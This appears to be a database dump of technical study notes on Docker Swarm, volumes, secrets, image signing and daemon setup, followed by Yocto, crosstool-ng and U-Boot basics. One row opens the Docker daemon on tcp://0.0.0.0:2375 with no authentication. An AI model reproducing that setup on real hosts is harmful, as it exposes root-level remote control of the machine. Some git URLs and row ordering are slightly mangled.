unlock-key code txt 2024-07-28 10:06:29.296922 -4058 1015 Restart docker daemon one of the *manager* nodes: text txt 2024-07-28 10:06:29.879733 -4059 1015 sudo systemctl restart docker code txt 2024-07-28 10:06:29.899895 -4060 1015 Try to list the nodes in the swarm on restarted *manager* to confirm that it has not been allowed to re-join the swarm: text txt 2024-07-28 10:06:29.919741 -4061 1015 docker node ls code txt 2024-07-28 10:06:29.940148 -4062 1015 Unlock the swarm on restarted *manager*: text txt 2024-07-28 10:06:29.961434 -4063 1015 docker swarm unlock code txt 2024-07-28 10:06:29.980823 -4064 1015 Confirm that *manager* has re-joined by listing swarm nodes. text txt 2024-07-28 10:06:30.002103 -4065 1016 1. Imperatively on the command line with `docker service create`\n2. Declaratively with a stack file text txt 2024-07-28 10:06:30.192724 -4066 1017 docker service create --name my-service --publish 80:80 --replicas 5 repository/project:v1 code txt 2024-07-28 10:06:30.408416 -4067 1018 docker service ls code txt 2024-07-28 10:06:30.620648 -4068 1019 docker service ps my-service code txt 2024-07-28 10:06:30.830389 -4069 1020 docker service inspect --pretty my-service code txt 2024-07-28 10:06:31.037857 -4070 1021 The default replication mode of a service is *replicated*.\nThis deploys a desired number of replicas and distributes them as evenly as possible across the cluster. text txt 2024-07-28 10:06:31.292371 -4071 1021 The other mode is *global*, which runs a single replica on every node in swarm.\nTo deploy a *global service* you need to pass the `--mode global` flag to the `docker service create` command. text txt 2024-07-28 10:06:31.313634 -4072 1022 docker service scale my-service=10\ndocker service scale my-service=2\ndocker service ls\ndocker service ps my-service code txt 2024-07-28 10:06:31.581836 -4073 1023 docker service rm my-service text txt 2024-07-28 10:06:31.750445 -4074 1024 docker network create --driver overlay my-network code txt 2024-07-28 10:06:32.002348 -4075 1024 An overlay network creates a new layer 2 network that we can place containers on, and all containers on it will be able to communicate. text txt 2024-07-28 10:06:32.02311 -4076 1025 docker network ls code txt 2024-07-28 10:06:32.229696 -4077 1026 docker service create --name my-service --network my-network --publish 80:80 --replicas 10 repository/project:v1 text txt 2024-07-28 10:06:32.401623 -4078 1027 This mode of publishing a port on every node in the swarm — even nodes not running service replicas — is called *ingress mode* and is the default.\nThe alternative mode is *host mode* which only publishes the service on swarm nodes running replicas. text txt 2024-07-28 10:06:32.628779 -4079 1027 In *ingress mode* every node gets a mapping and can therefore redirect your request to a node that is running the service. text txt 2024-07-28 10:06:32.649507 -4080 1028 docker service create --name my-service --network my-network --publish published=80,target=80,mode=host --replicas 12 code txt 2024-07-28 10:06:32.934624 -4081 1028 Open a web browser and point it to the IP address of any of the nodes in the swarm on port 80 to see the service running. text txt 2024-07-28 10:06:32.956003 -4082 1029 docker service update --image repository/project:v2 --update-parallelism 2 --update-delay 20s my-project\ndocker service inspect --pretty my-project code txt 2024-07-28 10:06:33.219183 -4083 1030 docker service logs my-project code txt 2024-07-28 10:06:33.471809 -4084 1030 You can follow the logs (`--follow`), tail them (`--tail`), and get extra details (`--details`). text txt 2024-07-28 10:06:33.492787 -4085 1031 By using flags to override configuration file: text txt 2024-07-28 10:06:33.917896 -4086 1031 docker service create --name my-service --publish 80:80 --replicas 10 --log-driver journald code txt 2024-07-28 10:06:33.937591 -4087 1031 Or by configuring `docker.json` file: text txt 2024-07-28 10:06:33.959472 -4088 1031 {\n "log-driver": "syslog"\n} code txt 2024-07-28 10:06:33.979275 -4089 1032 Managing your swarm and applications declaratively is a great way to prevent the need to recover from a backup.\nFor example, storing configuration objects outside of the swarm in a source code repository will enable you to redeploy things like networks, services, secrets and other objects.\nHowever, managing your environment declaratively and strictly using source control repos requires discipline. text txt 2024-07-28 10:06:34.184638 -4090 1033 Swarm configuration and state is stored in `/var/lib/docker/swarm` on every manager node.\nA swarm backup is a copy of all the files in this directory. text txt 2024-07-28 10:06:34.378772 -4091 1034 You have to stop the Docker daemon on the node you are backing up.\nIt’s a good idea to perform the backup from non-leader managers.\nThis is because stopping Docker on the leader will initiate a leader election. text txt 2024-07-28 10:06:35.264663 -4092 1034 The following commands will create the following two objects: text txt 2024-07-28 10:06:35.286017 -4093 1034 * An overlay network\n* A Secret text txt 2024-07-28 10:06:35.306249 -4094 1034 docker network create --driver overlay my-network\nprintf "Salt" | docker secret create my-secret -\nsudo systemctl stop docker\ntar -czf swarm.gzip /var/lib/docker/swarm code txt 2024-07-28 10:06:35.328255 -4095 1034 To restore the backup: text txt 2024-07-28 10:06:35.34837 -4096 1034 tar -xzf swarm.gzip -C /\nsudo systemctl start docker code txt 2024-07-28 10:06:35.368321 -4097 1034 The `--force-new-cluster` flag tells Docker to create a new cluster using the configuration stored in `/var/lib/docker/swarm/` that you recovered. text txt 2024-07-28 10:06:35.388167 -4098 1034 docker swarm init --force-new-cluster\ndocker network ls\ndocker secret ls\ndocker swarm ls\ndocker service ls\ndocker service ps\ndocker node ls code txt 2024-07-28 10:06:35.408753 -4099 1034 Add new manager and worker nodes and take fresh backups. text txt 2024-07-28 10:06:35.42833 -4100 1035 By default, Docker creates new volumes with the built-in *local* driver. text txt 2024-07-28 10:06:35.828686 -4101 1035 docker volume create my-storage code txt 2024-07-28 10:06:35.849749 -4102 1035 As the name suggests, volumes created with the *local* driver are only available to containers on the same node as the volume.\nYou can use the `-d` flag to specify a different driver. text txt 2024-07-28 10:06:35.869836 -4103 1036 docker volume ls\ndocker volume list code txt 2024-07-28 10:06:36.133691 -4104 1037 docker volume inspect my-storage code txt 2024-07-28 10:06:36.418921 -4105 1037 If both the `Driver` and `Scope` properties are *local*, it means the volume was created with the local driver and is only available to containers on this Docker host. text txt 2024-07-28 10:06:36.439808 -4106 1037 The `Mountpoint` property tells us where in the Docker host’s filesystem the volume exists. text txt 2024-07-28 10:06:36.461564 -4107 1038 docker volume rm\ndocker volume remove code txt 2024-07-28 10:06:36.772131 -4108 1038 This option lets you specify exactly which volumes you want to delete.\nIt won't delete a volume that is in use by a container or service replica. text txt 2024-07-28 10:06:36.792378 -4109 1039 docker volume prune code txt 2024-07-28 10:06:37.037787 -4110 1039 `prune` will delete all volumes that are not mounted into a container or service replica. text txt 2024-07-28 10:06:37.058149 -4111 1040 VOLUME code txt 2024-07-28 10:06:37.398004 -4314 1137 fatload mmc 0 80000000 boot.ini code txt 2024-07-28 10:07:10.120488 -4112 1040 Interestingly, you cannot specify a directory on the host when defining a volume in a Dockerfile.\nThis is because host directories are different depending on what OS your Docker host is running – it could break your builds if you specified a directory on a Docker host that doesn’t exist.\nAs a result, defining a volume in a Dockerfile requires you to specify host directories at deploy-time. text txt 2024-07-28 10:06:37.4194 -4113 1041 Create a volume, then you create a container and mount the volume into it.\nThe volume is mounted into a directory in the container’s filesystem, and anything written to that directory is stored in the volume.\nIf you delete the container, the volume and its data will still exist. text txt 2024-07-28 10:06:37.90248 -4114 1041 docker container run --detach --interactive --tty --name my-service --mount source=my-storage,target=/storage alpine code txt 2024-07-28 10:06:37.922493 -4115 1041 * If you specify an existing volume, Docker will use the existing volume.\n* If you specify a volume that doesn’t exist, Docker will create it for you. text txt 2024-07-28 10:06:37.944427 -4116 1041 In case `my-storage` didn't exist, it will be created: text txt 2024-07-28 10:06:37.965241 -4117 1041 docker volume ls code txt 2024-07-28 10:06:37.985474 -4118 1042 docker service create --name my-service --mount source=bizvol,target=/vol alpine sleep 1d code txt 2024-07-28 10:06:38.352471 -4119 1042 `--replica` flag was not set, so only a single service replica was deployed. text txt 2024-07-28 10:06:38.372695 -4120 1042 Running service can be found in cluster by following command: text txt 2024-07-28 10:06:38.394542 -4121 1042 docker service ps my-service code txt 2024-07-28 10:06:38.415702 -4122 1043 docker plugin install purestorage/docker-plugin:latest --alias pure --grant-all-permissions code txt 2024-07-28 10:06:38.667092 -4123 1044 docker plugin ls\ndocker plugin list code txt 2024-07-28 10:06:38.931447 -4124 1045 docker plugin install purestorage/docker-plugin:latest --alias pure --grant-all-permissions\ndocker volume create --driver pure --opt size=25GB fast-volume code txt 2024-07-28 10:06:39.160296 -4125 1046 Assuming an application running on two nodes of a cluster and both have write access to the shared volume. text txt 2024-07-28 10:06:39.512077 -4126 1046 The application running on node-1 updates some data in the shared volume.\nHowever, instead of writing the update directly to the volume, it holds it in its local buffer for faster recall.\nAt this point, the application in node-1 thinks the data has been written to the volume.\nHowever, before node-1 flushes its buffers and commits the data to the volume, the app on node-2 updates the same data with a different value and commits it directly to the volume.\nAt this point, both applications think they’ve updated the data in the volume, but in reality only the application in node-2 has.\nA few seconds later, on node-1 flushes the data to the volume, overwriting the changes made by the application in node-2.\nHowever, the application in node-2 is totally unaware of this! This is one of the ways data corruption happens.\nTo prevent this, you need to write your applications in a way to avoid things like this. text txt 2024-07-28 10:06:39.534972 -4127 1047 Docker Swarm Mode is secure by default. Image vulnerability scanning analyses\nimages, detects known vulnerabilities, and provides detailed reports and\nfixes. text txt 2024-07-28 10:06:39.888597 -4128 1047 Scanners work by building a list of all software in an image and then comparing the packages against databases of known vulnerabilities.\nMost vulnerability scanners will rank vulnerabilities and provide advice and help on fixes. text txt 2024-07-28 10:06:39.910188 -4129 1048 **Docker Content Trust (DCT)** lets us sign our own images and verify the\nintegrity and publisher of images we consume. text txt 2024-07-28 10:06:40.095676 -4130 1049 Kernel namespaces are the main technology used to build containers. They\nvirtualise operating system constructs such as process trees and filesystems\nin the same way that hypervisors virtualise physical resources such as CPUS\nand disks. If namespaces are about isolation, control groups (cgroups) are\nabout limits. text txt 2024-07-28 10:06:40.346505 -4131 1050 Containers are isolated from each other but all share a common set of\nresources — things like CPU, RAM, network and disk I/O. Cgroups let us set\nlimits so a single container cannot consume them all and cause a denial of\nservice (DoS) attack. text txt 2024-07-28 10:06:40.701592 -4132 1050 Docker uses seccomp to limit the syscalls a container can make to the host’s\nkernel. At the time of writing, Docker’s default seccomp profile disables 44\nsyscalls. Modern Linux systems have over 300 syscalls. text txt 2024-07-28 10:06:40.723224 -4133 1051 **Docker secrets** let us securely share sensitive data with applications.\nThey’re stored in the encrypted cluster store, encrypted over the network,\nkept in in-memory filesystems when in use, and operate a least-privilege\nmodel. text txt 2024-07-28 10:06:41.362011 -4134 1051 Run the following command from the node you want to be the first manager in\nthe new swarm. text txt 2024-07-28 10:06:41.382268 -4135 1051 *manager1*\ndocker swarm init code txt 2024-07-28 10:06:41.401867 -4136 1051 That’s literally all you need to do to configure a secure swarm. text txt 2024-07-28 10:06:41.421746 -4137 1051 *manager1* is configured as the first manager of the swarm and also as the\nroot certificate authority (CA). The swarm itself has been given a\ncryptographic cluster ID. text txt 2024-07-28 10:06:41.44346 -4138 1051 *manager1* has issued itself with a client certificate that identifies it as\na manager, certificate rotation has been configured with the default value of\n90 days, and a cluster database has been configured and encrypted. A set of\nsecure tokens have also been created so that additional managers and workers\ncan be securely joined. text txt 2024-07-28 10:06:41.465522 -4139 1052 First extract the manager token: text txt 2024-07-28 10:06:41.996231 -4140 1052 *manager1*\ndocker swarm join-token manager code txt 2024-07-28 10:06:42.018365 -4141 1052 Then using then token join new nodes as managers: text txt 2024-07-28 10:06:42.03875 -4142 1052 *node1*\ndocker swarm join --token : code txt 2024-07-28 10:06:42.059677 -4143 1052 Every join token has 4 distinct fields separated by dashes (-):\n`PREFIX - VERSION - SWARM ID - TOKEN`\n- The prefix is always `SWMTKN`. This allows you to pattern-match against it\n and prevent people from accidentally posting it publicly.\n- The `VERSION` field indicates the version of the swarm.\n- The `SWARM ID` field is a hash of the swarm’s certificate.\n- The `TOKEN` field is worker or manager token. text txt 2024-07-28 10:06:42.081295 -4144 1053 docker swarm join-token --rotate manager code txt 2024-07-28 10:06:42.285939 -4145 1054 sudo openssl x509 -in /var/lib/docker/swarm/certificates/swarm-node.crt -text code txt 2024-07-28 10:06:42.494926 -4146 1055 docker swarm update code txt 2024-07-28 10:06:42.778313 -4147 1055 The following example changes the certificate rotation period to 30 days. text txt 2024-07-28 10:06:42.798274 -4148 1055 docker swarm update --cert-expiry 720h text txt 2024-07-28 10:06:42.818704 -4149 1056 docker swarm ca --help code txt 2024-07-28 10:06:43.030166 -4150 1057 To follow along, you’ll need a cryptographic key-pair to sign images. text txt 2024-07-28 10:06:43.766454 -4151 1057 docker trust key generate brian code txt 2024-07-28 10:06:43.786625 -4914 1391 DECLARE_WAIT_QUEUE_HEAD(static_event); text txt 2024-07-28 10:08:53.648335 -4152 1057 If you already have a key-pair, you can import and load it with: text txt 2024-07-28 10:06:43.806692 -4153 1057 docker trust key load key.pem --name brian code txt 2024-07-28 10:06:43.827801 -4154 1057 Now that we’ve loaded a valid key-pair, we’ll associate it with the image\nrepository we’ll push signed images to. This example uses the\nnigelpoulton/ddd-trust repo on Docker Hub and the brian.pub key that was\ncreated in the previous step. text txt 2024-07-28 10:06:43.848201 -4155 1057 docker trust signer add --key brian.pub brian briansalehi/ddd-trust code txt 2024-07-28 10:06:43.869052 -4156 1057 The following command will sign the briansalehi/ddd-trust:signed image and\npush it to Docker Hub. You’ll need to tag an image on your system with the\nname of the repo you just associated your key-pair with. text txt 2024-07-28 10:06:43.889473 -4157 1057 Push the signed image: text txt 2024-07-28 10:06:43.909371 -4158 1057 docker trust sign briansalehi/ddd-trust:signed code txt 2024-07-28 10:06:43.930954 -4159 1057 The push operation will create the repo on Docker Hub and push the image. text txt 2024-07-28 10:06:43.952263 -4160 1058 docker trust inspect nigelpoulton/ddd-trust:signed --pretty code txt 2024-07-28 10:06:44.188308 -4161 1059 You can force a Docker host to always sign and verify image push and pull\noperations by exporting the `DOCKER_CONTENT_TRUST` environment variable with\na value of 1. In the real world, you’ll want to make this a more permanent\nfeature of Docker hosts. text txt 2024-07-28 10:06:44.565939 -4162 1059 export DOCKER_CONTENT_TRUST=1 code txt 2024-07-28 10:06:44.586018 -4163 1059 Once DCT is enabled like this, you’ll no longer be able to pull and work with\nunsigned images. text txt 2024-07-28 10:06:44.607043 -4164 1060 Many applications have sensitive data such as passwords, certificates, and\nSSH keys. Secrets require swarm as they leverage the cluster store. The\nsecret is shown as the key symbol and the container icons with the dashed\nline are not part of the service that has access to the secret. text txt 2024-07-28 10:06:45.009562 -4165 1060 You can create and manage secrets with the docker secret command. You can\nthen attach them to services by passing the `--secret` flag: text txt 2024-07-28 10:06:45.030102 -4166 1060 docker service create --secret code txt 2024-07-28 10:06:45.050644 -4167 1060 The secret is mounted into the containers of the blue service as an\nunencrypted file at `/run/secrets/`. This is an in-memory *tmpfs* filesystem. text txt 2024-07-28 10:06:45.071199 -4168 1061 1. **Docker commands:** run a container and input the commands to create new image with `docker commit`.\n2. **Dockerfile:** Build from a known base image, and specify the build with a limited set of simple commands.\n3. **Dockerfile and configuration management (CM) tool:** Same as Dockerfile, but you hand over control of the build to a more sophisticated CM tool.\n4. **Scratch image and import a set of files:** From an empty image, import a TAR file with the required files. text txt 2024-07-28 10:06:45.608462 -4169 1062 You begin the Dockerfile by defining the base image with the `FROM` command. text txt 2024-07-28 10:06:46.638139 -4170 1062 FROM node code txt 2024-07-28 10:06:46.65931 -4171 1062 Next, you declare the maintainer with the `LABEL` command.\nThis line isn’t required to make a working Docker image, but it’s good practice to include it. text txt 2024-07-28 10:06:46.680171 -4172 1062 LABEL maintainer user@domain.tld code txt 2024-07-28 10:06:46.701608 -4173 1062 Next, you clone the source code with a `RUN` command.\n**Note:** Git is installed inside the base *node* image in this case, but you can’t take this kind of thing for granted. text txt 2024-07-28 10:06:46.724262 -4174 1062 RUN git clone -q https://domain.com - https://domain.com/username/repository.git code txt 2024-07-28 10:06:46.745413 -4175 1062 Now you move to the new cloned directory with a `WORKDIR` command.\nNot only does this change directories within the build context,\nbut the last `WORKDIR` command determines which directory you’re in by default when you start up your container from your built image. text txt 2024-07-28 10:06:46.766681 -4176 1062 WORKDIR repository code txt 2024-07-28 10:06:46.787017 -4177 1062 Next, you run the node package manager’s install command (npm). text txt 2024-07-28 10:06:46.807212 -4178 1062 RUN npm install > /dev/null code txt 2024-07-28 10:06:46.827771 -4179 1062 Because port 8000 is used by the application, you use the `EXPOSE` command to tell Docker that containers from the built image should listen on this port. text txt 2024-07-28 10:06:46.848287 -4180 1062 EXPOSE 8000 code txt 2024-07-28 10:06:46.870372 -4181 1062 Finally, you use the CMD command to tell Docker which command will be run when the container is started up. text txt 2024-07-28 10:06:46.890672 -4182 1062 CMD ["npm", "start"] code txt 2024-07-28 10:06:46.911596 -4183 1063 docker build .\ndocker image build . code txt 2024-07-28 10:06:47.183788 -4184 1063 Each command results in a new image being created, and the image ID is output. text txt 2024-07-28 10:06:47.205237 -4185 1064 docker tag 67c76cea05bb todoapp\ndocker image tag ... code txt 2024-07-28 10:06:47.453651 -4186 1065 docker run -i -t -p 8000:8000 --name example todoapp\ndocker container run ... code txt 2024-07-28 10:06:47.774091 -4187 1065 The `-p` flag maps the container’s port 8000 to the port 8000 on the host machine.\nThe `--name` flag gives the container a unique name you can refer to later for convenience. text txt 2024-07-28 10:06:47.794774 -4188 1066 Once the container has been started, you can press `Ctrl-C` to terminate the process and the container. text txt 2024-07-28 10:06:47.961527 -4189 1067 docker ps -a\ndocker container ps ...\ndocker container ls ...\ndocker container list ... code txt 2024-07-28 10:06:48.252768 -4190 1068 docker start example\ndocker container start ... code txt 2024-07-28 10:06:48.520683 -4191 1069 docker diff example\ndocker container diff ... code txt 2024-07-28 10:06:48.821266 -4192 1069 The docker diff subcommand shows you which files have been affected since the image was instantiated as a container.\nIn this case, the todo directory has been changed (C), and the other listed files have been added (A).\nNo files have been deleted (D), which is the other possibility. text txt 2024-07-28 10:06:48.842631 -4193 1070 Once the Docker daemon has been stopped, you can restart it manually and open it up to outside users with the following command: text txt 2024-07-28 10:06:49.335037 -4194 1070 sudo docker daemon -H tcp://0.0.0.0:2375 code txt 2024-07-28 10:06:49.355203 -4195 1070 docker -H tcp://:2375 code txt 2024-07-28 10:06:49.37574 -4196 1070 Or you can export the `DOCKER_HOST` environment variable: text txt 2024-07-28 10:06:49.39636 -4197 1070 export DOCKER_HOST=tcp://:2375\nsudo --preserve-env=DOCKER_HOST docker code txt 2024-07-28 10:06:49.416913 -4198 1071 docker run -d -p 1234:1234 --name daemon ubuntu:20.04 nc -l 1234\ndocker run --detach -publish 1234:1234 --name daemon ...\ndocker container run ... code txt 2024-07-28 10:06:49.974105 -4199 1071 The `-d` flag, when used with docker run, runs the container as a daemon.\nWith `-p` you publish the 1234 port from the container to the host.\nThe `--name` flag lets you give the container a name so you can refer to it later.\nFinally, you run a simple listening echo server on port 1234 with **netcat**. text txt 2024-07-28 10:06:49.995592 -4200 1071 nc localhost 1234\nLook ma, I know docker!^C code txt 2024-07-28 10:06:50.017013 -4201 1071 docker container logs daemon\nLook ma, I know docker! code txt 2024-07-28 10:06:50.037415 -4202 1072 docker logs daemon\ndocker container logs ... code txt 2024-07-28 10:06:50.303155 -4203 1073 Restart policy allows you to apply a set of rules to be followed when the container terminates: text txt 2024-07-28 10:06:50.676213 -4204 1073 * `no`: Don’t restart when the container exits\n* `always`: Always restart when the container exits\n* `unless-stopped`: Always restart, but remember explicitly stopping\n* `on-failure[:max-retry]`: Restart only on failure text txt 2024-07-28 10:06:50.696754 -4205 1073 docker container run --detach --restart=on-failure:10 --name daemon ubuntu /usr/bin/false\ndocker container logs daemon code txt 2024-07-28 10:06:50.717807 -4206 1074 socat -v UNIX-LISTEN:/tmp/dockerapi.sock,fork UNIX-CONNECT:/var/run/docker.sock &\ndocker -H unix:///tmp/dockerapi.sock ps -a code txt 2024-07-28 10:06:50.954686 -4207 1075 docker search node code txt 2024-07-28 10:06:51.183365 -4208 1076 Docker allocates the private subnet from an unused RFC 1918 private subnet\nblock. It detects which network blocks are unused on the host and allocates\none of those to the virtual network. That is bridged to the host’s local\nnetwork through an interface on the server called `docker0`. This means that,\nby default, all of the containers are on a network together and can talk to\neach other directly. But to get to the host or the outside world, they go\nover the `docker0` virtual bridge interface. text txt 2024-07-28 10:06:51.691932 -4209 1077 There is a wide ecosystem of tools to either improve or augment Docker’s\nfunctionality. Some good production tools leverage the Docker API, like\n**Prometheus** for monitoring and **Ansible** for simple orchestration.\nOthers leverage Docker’s plugin architecture. text txt 2024-07-28 10:06:51.971588 -4210 1077 **Plugins** are executable programs that conform to a specification for\nreceiving and returning data to Docker. text txt 2024-07-28 10:06:51.992497 -4211 1078 Some features may become deprecated on future releases. To see what has been\ntagged for deprecation and eventual removal, refer to the documentation. text txt 2024-07-28 10:06:52.225154 -4212 1079 sudo systemctl enable --now docker code txt 2024-07-28 10:06:52.462465 -4213 1080 docker -H 10.0.0.10:12375 version code txt 2024-07-28 10:06:52.682665 -4214 1081 Passing in the IP address and port every time you want to run a Docker\ncommand, is not ideal, but luckily Docker can be set up to know about\nmultiple Docker servers, using the `docker context` command. text txt 2024-07-28 10:06:53.048123 -4215 1081 To start let’s check and see what context is currently in use. text txt 2024-07-28 10:06:53.067935 -4216 1081 docker context create helpdesk --docker =tcp://10.0.0.10:12375 code txt 2024-07-28 10:06:53.089549 -4217 1081 Take note of the entry that has an asterisk next to it, which designates\nthe current context. text txt 2024-07-28 10:06:53.110562 -4218 1082 docker context list code txt 2024-07-28 10:06:53.344014 -4219 1083 docker context use default code txt 2024-07-28 10:06:53.57955 -4220 1084 You’re not likely to have to start the Docker server yourself, but that’s\nwhat going on behind the scenes. text txt 2024-07-28 10:06:53.859694 -4221 1084 sudo dockerd -H unix:///var/run/docker.sock --config-file /etc/docker/daemon.json code txt 2024-07-28 10:06:53.879557 -4222 1085 Poky is the default Yocto Project reference distribution, which uses\nOpenEmbedded build system technology. text txt 2024-07-28 10:06:54.526624 -4223 1086 It is composed of a collection of tools, configuration files, and recipe data\n(known as metadata). text txt 2024-07-28 10:06:54.975903 -4224 1086 |Poky Build Tool|\n|---|\n|BitBake Tool (bitbake)|\n|OpenEmbedded Core (meta)|\n|Poky Distribution Metadata (meta-poky)|\n|Yocto Project Reference BSP (meta-yocto-bsp)| text txt 2024-07-28 10:06:54.995753 -4225 1086 It is platform-independent and performs cross-compiling using the BitBake\ntool, OpenEmbedded Core, and a default set of metadata. text txt 2024-07-28 10:06:55.017377 -4226 1086 In addition, it provides the mechanism to build and combine thousands of\ndistributed open source projects to form a fully customizable, complete, and\ncoherent Linux software stack. text txt 2024-07-28 10:06:55.039296 -4227 1087 BitBake is a task scheduler and execution system that parses Python and Shell\nScript code. The code that is parsed generates and runs tasks, which are a\nset of steps ordered per the code’s dependencies. text txt 2024-07-28 10:06:55.398531 -4228 1087 BitBake evaluates all available metadata, managing dynamic variable\nexpansion, dependencies, and code generation. In addition, it keeps track of\nall tasks to ensure their completion, maximizing the use of processing\nresources to reduce build time and predictability. text txt 2024-07-28 10:06:55.419302 -4229 1087 The source code is in the `bitbake` subdirectory of Poky. text txt 2024-07-28 10:06:55.438789 -4230 1088 The OpenEmbedded Core metadata collection provides the engine of the Poky\nbuild system. It provides the core features and aims to be generic and as\nlean as possible. It supports seven different processor architectures (ARM,\nARM64, x86, x86-64, PowerPC, PowerPC 64, MIPS, MIPS64, RISC-V32, and RISC-V\n64), only supporting platforms to be emulated by QEMU. text txt 2024-07-28 10:06:55.744418 -4231 1088 The OpenEmbedded Core houses its metadata inside the `meta` subdirectory of\nPoky. text txt 2024-07-28 10:06:55.765607 -4232 1089 The metadata includes recipes and configuration files. It is composed of a\nmix of Python and Shell Script text files, providing a tremendously flexible\ntool. Poky uses this to extend OpenEmbedded Core and includes two different\nlayers, which are other metadata subsets, shown as follows: text txt 2024-07-28 10:06:56.136312 -4233 1089 - `meta-poky`: This layer provides the default and supported distribution\n policies, visual branding, and metadata tracking information (maintainers,\n upstream status, and so on). This is to serve as a curated template that\n could be used by distribution builders to seed their custom distribution.\n- `meta-yocto-bsp`: This provides the Board Support Package (BSP) used as the\n reference hardware for the Yocto Project development and Quality Assurance\n (QA) process. text txt 2024-07-28 10:06:56.158254 -4234 1090 The Yocto Project has a release every six months, in April and October. text txt 2024-07-28 10:06:56.489993 -4235 1090 The support for the stable release is for 7 months, offering 1 month of\noverlapped support for every stable release. The LTS release has a minimal\nsupport period of 2 years, optionally extended. After the official support\nperiod ends, it moves to Community support and finally reaches End Of Life\n(EOL). text txt 2024-07-28 10:06:56.511947 -4236 1090 `Initial Release -> Stable Release -> Community -> End of Life` text txt 2024-07-28 10:06:56.53282 -4237 1091 git clone https://git.yoctoproject.org - https://git.yoctoproject.org/poky code txt 2024-07-28 10:06:56.798526 -4238 1092 source oe-init-build-env code txt 2024-07-28 10:06:57.031381 -4239 1093 *config/local.conf*\nMACHINE ??= "qemux86-64" code txt 2024-07-28 10:06:57.293432 -4240 1094 The board should be physically connected to the host using USB to Serial\ncable. text txt 2024-07-28 10:06:57.876981 -4241 1094 The program which can be used to connect the board with a TTY are as follows: text txt 2024-07-28 10:06:57.89565 -4242 1094 * minicom\n* picocom\n* gtkterm\n* putty\n* screen\n* tio text txt 2024-07-28 10:06:57.915534 -4243 1095 picocom --baud 115200 /dev/ttyUSB0 code txt 2024-07-28 10:06:58.281528 -4244 1095 In case you don't have enough permission to run this command, you need to add\nyour user into the `dialout` group: text txt 2024-07-28 10:06:58.302335 -4245 1095 usermod -G -a dialout brian code txt 2024-07-28 10:06:58.32357 -4246 1096 gcc -v code txt 2024-07-28 10:06:58.55812 -4247 1097 gcc -v -o program source.c code txt 2024-07-28 10:06:58.778067 -4248 1098 file executable code txt 2024-07-28 10:06:58.996478 -4249 1099 strip executable code txt 2024-07-28 10:06:59.223948 -4250 1100 gcc -c main.c\ngcc -c util.c\ngcc -o program main.o util.o code txt 2024-07-28 10:06:59.491696 -4251 1101 nm executable code txt 2024-07-28 10:06:59.724092 -4252 1102 C libraries and compiled programs need to interact with the kernel. Available\nsystem calls, many constant definitions and data structures are defined in\nkernel headers. Therefore, compiling C libraries require kernel headers. text txt 2024-07-28 10:07:00.142681 -4253 1102 Kernel headers can be found in the kernel source tree in `include/uapi` and\n`arch//include/uapi`. These headers can be included in C source files\nas `` and ``. text txt 2024-07-28 10:07:00.162799 -4254 1102 To install kernel headers, run the following `make` target in the kernel\nsource tree: text txt 2024-07-28 10:07:00.183015 -4255 1102 make headers_install code txt 2024-07-28 10:07:00.204482 -4256 1103 `-march` option is used to set processor architecture, e.g. armv6, armv7,\naarch64, x86\\\\_64, etc. `-mtune` option is used to set processor specific\noptimization, e.g. bcm2835, bcm2711, etc. text txt 2024-07-28 10:07:00.501313 -4257 1103 gcc -march armv6 -mtune bcm2835 source.c code txt 2024-07-28 10:07:00.521879 -4258 1104 Some utilities automate the process of building the toolchains: text txt 2024-07-28 10:07:00.829506 -4259 1104 * [Crosstool-ng](https://crosstool-ng.github.io)\n* [Buildroot](https://buildroot.org)\n* [PTXdist](https://ptxdist.org)\n* [OpenEmbedded](https://openembedded.org)\n* [Yocto project](https://yoctoproject.org) text txt 2024-07-28 10:07:00.850245 -4260 1105 git clone https://github.com - https://github.com/crosstool-ng/crosstool-ng.git\ncd crosstool-ng\n./bootstrap\n./configure --prefix $HOME/.local\nmake -j8\nmake install code txt 2024-07-28 10:07:01.179237 -4261 1106 ct-ng list-samples code txt 2024-07-28 10:07:01.407107 -4262 1107 Prefix target with `show-` to see the configuration information: text txt 2024-07-28 10:07:01.833202 -4263 1107 ct-ng show-armv6-unknown-linux-gnueabihf code txt 2024-07-28 10:07:01.853004 -4264 1107 Or just run `show-config` to see the current configuration information: text txt 2024-07-28 10:07:01.872271 -4265 1107 ct-ng show-config code txt 2024-07-28 10:07:01.89309 -4266 1107 Note that `.config` file should be available in the later case. text txt 2024-07-28 10:07:01.913301 -4267 1108 ct-ng armv6-unknown-linux-gnueabihf code txt 2024-07-28 10:07:02.143112 -4268 1109 Crosstool-ng uses kernel build system `Kbuild` and kernel configuration\nsystem `Kconfig` to configure and build the cross-toolchain. text txt 2024-07-28 10:07:02.454268 -4269 1109 ct-ng menuconfig\nct-ng nconfig\nct-ng qtconfig code txt 2024-07-28 10:07:02.47543 -4270 1110 ct-ng show-tuple code txt 2024-07-28 10:07:02.699266 -4271 1111 ct-ng source code txt 2024-07-28 10:07:02.918447 -4272 1111 Origin: text txt 2024-07-28 10:07:02.939135 -4273 1112 Indicate a the number of parallel jobs behind the `build` target after a dot: text txt 2024-07-28 10:07:03.189452 -4274 1112 ct-ng build.8 code txt 2024-07-28 10:07:03.211121 -4275 1113 ${CROSS_COMPILE}gcc -L$(${CROSS_COMPILE}gcc -print-sysroot)/lib -I$(${CROSS_COMPILE}gcc -print-sysroot)/include -march armv6 -mtune bcm2835 -o program source.c code txt 2024-07-28 10:07:03.445832 -4276 1114 Obtain the U-Boot source tree from GitHub: text txt 2024-07-28 10:07:03.959143 -4277 1114 git clone https://github.com - https://github.com/u-boot/u-boot.git\ncd u-boot code txt 2024-07-28 10:07:03.98065 -4278 1114 Configuration files are stored in `configs/` directory. text txt 2024-07-28 10:07:04.001619 -4279 1114 To check if your desired board is already supported by U-Boot, check if there is a match for that board in the `boards.cfg` file. text txt 2024-07-28 10:07:04.024748 -4280 1114 To use one of the configuration entries in `configs/` use `make` utility: text txt 2024-07-28 10:07:04.04571 -4281 1114 make CROSS_COMPILE=$(arm-unknown-linux-gnueabihf-gcc -print-sysroot) ARCH=armv6 raspberrypizero_defconfig\nmake CROSS_COMPILE=$(arm-unknown-linux-gnueabihf-gcc -print-sysroot) ARCH=armv6 menuconfig code txt 2024-07-28 10:07:04.066728 -4282 1115 There are as many tools as there are filesystems to load an image into RAM: text txt 2024-07-28 10:07:04.601571 -4283 1115 *FAT filesystem*\nfatload usb 0:1 0x21000000 zImage code txt 2024-07-28 10:07:04.622447 -4284 1115 *EXT4 filesystem*\next4load usb 0:1 0x21000000 zImage code txt 2024-07-28 10:07:04.643512 -4285 1115 There are similarly other tools: text txt 2024-07-28 10:07:04.664437 -4286 1115 * fatinfo, fatls, fatsize, fatwrite, 